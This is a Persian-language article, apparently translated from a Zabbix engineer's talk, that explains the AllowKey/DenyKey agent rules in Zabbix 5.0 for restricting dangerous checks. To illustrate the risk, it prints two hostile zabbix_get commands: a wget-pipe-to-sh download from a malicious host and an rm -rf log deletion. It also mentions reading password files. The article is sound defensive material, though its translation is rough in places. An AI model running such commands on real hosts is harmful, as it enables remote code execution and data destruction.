پشتیبانی از لیست سیاه و لیست سفید برای معیارهای سمت نماینده
تیخون اوسکوف، مهندس ادغام، Zabbix
مسائل مربوط به امنیت داده ها
Zabbix 5.0 دارای ویژگی جدیدی است که به شما امکان می دهد امنیت سیستم ها را با استفاده از Zabbix Agent بهبود بخشید و پارامتر قدیمی را جایگزین کنید. RemoteCommands را فعال کنید.
بهبود در امنیت سیستم های مبتنی بر عامل از این واقعیت ناشی می شود که یک عامل می تواند تعداد زیادی از اقدامات بالقوه خطرناک را انجام دهد.
- عامل میتواند تقریباً هر اطلاعاتی، از جمله اطلاعات محرمانه یا بالقوه خطرناک را از فایلهای پیکربندی، فایلهای گزارش، فایلهای رمز عبور یا هر فایل دیگری جمعآوری کند.
به عنوان مثال، با استفاده از ابزار zabbix_get میتوانید به فهرستی از کاربران، فهرستهای اصلی، فایلهای رمز عبور و غیره دسترسی داشته باشید.
دسترسی به داده ها با استفاده از ابزار zabbix_get
نکته. تنها در صورتی می توان داده ها را بازیابی کرد که عامل مجوز خواندن در فایل مربوطه را داشته باشد. اما مثلا فایل /etc/passwd/ قابل خواندن برای همه کاربران
- عامل همچنین می تواند دستورات بالقوه خطرناک را اجرا کند. به عنوان مثال، کلید *system.run[]** به شما این امکان را می دهد که هر گونه فرمان از راه دور را بر روی گره های شبکه اجرا کنید، از جمله اجرای اسکریپت ها از رابط وب Zabbix که همچنین دستورات را در سمت عامل اجرا می کند.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- در لینوکس، عامل به طور پیشفرض بدون حقوق ریشه اجرا میشود، در حالی که در ویندوز به عنوان یک سرویس به عنوان System اجرا میشود و دسترسی نامحدودی به سیستم فایل دارد. بر این اساس، اگر پس از نصب هیچ تغییری در پارامترهای Zabbix Agent ایجاد نشود، عامل به رجیستری، فایل سیستم دسترسی دارد و می تواند کوئری های WMI را اجرا کند.
در نسخه های قبلی پارامتر EnableRemoteCommands=0 فقط برای غیرفعال کردن معیارها با کلید * مجاز استsystem.run[]** و اجرای اسکریپت ها از رابط وب، اما هیچ راهی برای محدود کردن دسترسی به فایل های فردی، مجاز کردن یا غیرفعال کردن کلیدهای جداگانه ای که با عامل نصب شده بودند، یا محدود کردن استفاده از پارامترهای فردی وجود نداشت.
استفاده از پارامتر EnableRemoteCommand در نسخه های قبلی Zabbix
AllowKey/DenyKey
Zabbix 5.0 با ارائه لیست های سفید و لیست سیاه برای مجاز کردن و رد کردن معیارها در سمت نماینده به محافظت در برابر چنین دسترسی های غیرمجاز کمک می کند.
در Zabbix 5.0 همه کلیدها از جمله *system.run[]** فعال است و دو گزینه پیکربندی عامل جدید اضافه شده است:
AllowKey= - چک های مجاز؛
DenyKey= - چک های ممنوع؛
کجا یک الگوی نام کلید با پارامترهایی است که از متاکاراکترها (*) استفاده می کند.
کلیدهای AllowKey و DenyKey به شما امکان می دهند معیارهای فردی را بر اساس یک الگوی خاص مجاز یا رد کنید. بر خلاف سایر پارامترهای پیکربندی، تعداد پارامترهای AllowKey/DenyKey محدود نیست. این به شما امکان می دهد تا با ایجاد درختی از چک ها - کلیدهای اجرایی، که ترتیب نوشتن آنها نقش بسیار مهمی را ایفا می کند، به وضوح مشخص کنید که عامل دقیقاً چه کاری می تواند در سیستم انجام دهد.
توالی قوانین
قوانین به ترتیبی که در فایل پیکربندی وارد می شوند بررسی می شوند. کلید طبق قوانین قبل از اولین تطبیق بررسی می شود و به محض اینکه کلید عنصر داده با الگو مطابقت داشته باشد مجاز یا رد می شود. پس از این، بررسی قوانین متوقف می شود و کلیدهای باقی مانده نادیده گرفته می شوند.
بنابراین، اگر عنصری هم با یک قانون اجازه و هم با یک قانون رد مطابقت داشته باشد، نتیجه به این بستگی دارد که کدام قانون در فایل پیکربندی اول باشد.
2 قانون مختلف با یک الگو و یک کلید vfs.file.size[/tmp/file]
ترتیب استفاده از کلیدهای AllowKey/DenyKey:
- قوانین دقیق،
- قوانین عمومی،
- قانون منع
به عنوان مثال، اگر نیاز به دسترسی به فایل های موجود در یک پوشه خاص دارید، ابتدا باید اجازه دسترسی به آنها را بدهید و سپس هر چیز دیگری را که در مجوزهای تعیین شده قرار نمی گیرد را رد کنید. اگر ابتدا از قانون انکار استفاده شود، دسترسی به پوشه رد می شود.
دنباله درست
اگر نیاز دارید به 2 برنامه کاربردی اجازه دهید از طریق * اجرا شوندsystem.run[]**، و ابتدا قانون انکار مشخص میشود، برنامههای کاربردی راهاندازی نمیشوند، زیرا الگوی اول همیشه با هر کلیدی مطابقت دارد و قوانین بعدی نادیده گرفته میشوند.
توالی نادرست
الگوها
قوانین بنیادی
Pattern یک عبارت با حروف عام است. متاکاراکتر (*) با هر تعداد کاراکتر در یک موقعیت خاص مطابقت دارد. متاکاراکترها هم در نام کلید و هم در پارامترها قابل استفاده هستند. به عنوان مثال، شما می توانید به طور دقیق اولین پارامتر را با متن تعریف کنید، و مورد بعدی را به عنوان wildcard مشخص کنید.
پارامترها باید در پرانتز [] محصور شوند.
system.run[*
- اشتباهvfs.file*.txt]
- اشتباهvfs.file.*[*]
- درست
نمونه هایی از استفاده از wildcard.
- در نام کلید و در پارامتر. در این مورد، کلید با یک کلید مشابه که حاوی پارامتر نیست مطابقت ندارد، زیرا در الگو نشان دادیم که می خواهیم یک پایان مشخص از نام کلید و مجموعه خاصی از پارامترها را دریافت کنیم.
- اگر الگو از براکت استفاده نکند، الگو تمام کلیدهایی را که حاوی پارامتر نیستند اجازه می دهد و تمام کلیدهایی که حاوی پارامتر مشخص شده هستند را رد می کند.
- اگر کلید به طور کامل نوشته شده باشد و پارامترها به صورت wildcard مشخص شوند، هر کلید مشابه را با هر پارامتری مطابقت می دهد و با کلید بدون براکت مطابقت نمی کند، یعنی مجاز یا رد می شود.
قوانین برای پر کردن پارامترها
- اگر قرار است از کلیدی با پارامترها استفاده شود، پارامترها باید در فایل پیکربندی مشخص شوند. پارامترها باید به عنوان یک متاکاراکتر مشخص شوند. لازم است به دقت دسترسی به هر فایلی را رد کنید و در نظر بگیرید که متریک چه اطلاعاتی می تواند تحت املای مختلف ارائه دهد - با و بدون پارامتر.
ویژگی های نوشتن کلید با پارامترها
- اگر یک کلید با پارامترها مشخص شده باشد، اما پارامترها اختیاری باشند و به عنوان متاکاراکتر مشخص شوند، یک کلید بدون پارامتر حل می شود. به عنوان مثال، اگر می خواهید دریافت اطلاعات مربوط به بار روی CPU را غیرفعال کنید و مشخص کنید که کلید system.cpu.load[*] باید غیرفعال شود، فراموش نکنید که کلید بدون پارامتر مقدار بار متوسط را برمی گرداند.
قوانین پر کردن پارامترها
یادداشت ها
تنظیم
- برخی از قوانین را کاربر نمی تواند تغییر دهد، به عنوان مثال، قوانین کشف یا قوانین ثبت خودکار نماینده. قوانین AllowKey/DenyKey بر پارامترهای زیر تأثیر نمی گذارد:
- HostnameItem
- HostMetadataItem
- HostInterfaceItem
نکته. اگر مدیری کلیدی را غیرفعال کند، Zabbix اطلاعاتی در مورد اینکه چرا معیار یا کلید در دسته " قرار می گیرد، ارائه نمی کند.پشتیبانی نشده'. اطلاعات مربوط به ممنوعیت های اجرای دستورات از راه دور نیز در فایل های گزارش عامل نمایش داده نمی شود. این به دلایل امنیتی است، اما اگر معیارها به دلایلی در یک دسته بندی پشتیبانی نشده قرار گیرند، می تواند اشکال زدایی را پیچیده کند..
- برای اتصال فایل های پیکربندی خارجی (مثلاً به ترتیب حروف الفبا) نباید به ترتیب خاصی تکیه کنید.
ابزارهای خط فرمان
پس از تنظیم قوانین، باید مطمئن شوید که همه چیز به درستی پیکربندی شده است.
می توانید از یکی از سه گزینه استفاده کنید:
- یک متریک به Zabbix اضافه کنید.
- تست با zabbix_agentd. عامل Zabbix با گزینه -چاپ (-p) همه کلیدها (که به طور پیش فرض مجاز هستند) را نشان می دهد به جز کلیدهایی که توسط پیکربندی مجاز نیستند. و با گزینه -تست (-t) برای یک کلید ممنوعه باز خواهد گشتکلید مورد پشتیبانی نشده".
- تست با zabbix_get. سودمند zabbix_get با گزینه -k بر خواهد گشت 'ZBX_NOTSUPPORTED: معیار ناشناخته".
اجازه یا رد
می توانید دسترسی به یک فایل را رد کنید و مثلاً با استفاده از ابزار، تأیید کنید zabbix_getکه دسترسی به فایل ممنوع است.
**
نکته. نقل قول در پارامتر نادیده گرفته می شود.
در این مورد، دسترسی به چنین فایلی ممکن است از طریق مسیر دیگری مجاز باشد. به عنوان مثال، اگر یک Symlink به آن منتهی شود.
توصیه می شود گزینه های مختلف را برای اعمال قوانین مشخص شده بررسی کنید و همچنین امکان دور زدن ممنوعیت ها را نیز در نظر بگیرید.
پرسش و پاسخ
سوال. چرا چنین الگوی پیچیده ای با زبان خاص خود برای توصیف قوانین، مجوزها و ممنوعیت ها انتخاب شد؟ چرا نمی توان از عبارات منظمی که Zabbix استفاده می کند استفاده کرد؟
پاسخ. این یک مشکل عملکرد regex است زیرا معمولاً فقط یک عامل وجود دارد و تعداد زیادی معیار را بررسی می کند. Regex یک عملیات بسیار سنگین است و ما نمی توانیم هزاران معیار را از این طریق بررسی کنیم. Wildcards - یک راه حل جهانی، پرکاربرد و ساده.
سوال. آیا فایل های Include به ترتیب حروف الفبا گنجانده نشده اند؟
پاسخ. تا آنجا که من می دانم، اگر قوانین را در فایل های مختلف پخش کنید، تقریباً غیرممکن است که ترتیب اعمال قوانین را پیش بینی کنید. توصیه میکنم همه قوانین AllowKey/DenyKey را در یک فایل Include جمعآوری کنید، زیرا آنها با یکدیگر تعامل دارند و این فایل را نیز شامل میشود..
سوال. در Zabbix 5.0 گزینه "EnableRemoteCommands=' در فایل پیکربندی وجود ندارد و فقط AllowKey/DenyKey موجود است؟
پاسخ. بله درست است.
با تشکر از شما!
منبع: www.habr.com